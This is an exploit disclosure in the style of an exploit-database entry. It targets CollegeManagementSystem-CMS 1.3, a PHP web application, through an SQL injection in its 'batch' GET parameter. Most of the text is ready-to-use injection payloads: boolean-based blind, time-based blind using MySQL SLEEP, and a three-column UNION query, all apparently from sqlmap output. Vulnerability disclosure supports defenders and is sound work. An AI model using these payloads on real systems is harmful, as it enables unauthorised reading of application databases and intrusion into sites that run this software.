# Exploit Title: CollegeManagementSystem-CMS 1.3 - 'batch' SQL Injection # Author: Cakes # Discovery Date: 2019-09-16 # Vendor Homepage: https://github.com/SaloniKumari123/CollegeManagementSystem # Software Link: https://github.com/SaloniKumari123/CollegeManagementSystem/archive/master.zip # Tested Version: 1.3 # Tested on OS: CentOS 7 # CVE: N/A # Description: # Another College Management system coded in PHP, most input values accounted for and sanitized, except this one :-) # Parameter: batch (GET) # Type: boolean-based blind # Title: OR boolean-based blind - WHERE or HAVING clause Payload: batch=-9643' OR 9247=9247-- aqgq # Type: time-based blind # Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: batch=2021' AND (SELECT 6451 FROM (SELECT(SLEEP(5)))CWMt)-- zEfe # Type: UNION query # Title: Generic UNION query (NULL) - 3 columns Payload: batch=2021' UNION ALL SELECT NULL,CONCAT(0x71786a6271,0x564f6e51546c6f634741454d714e5777716d427361504d7a794b686c50657472724d616f49674b51,0x7171627171),NULL-- pPUb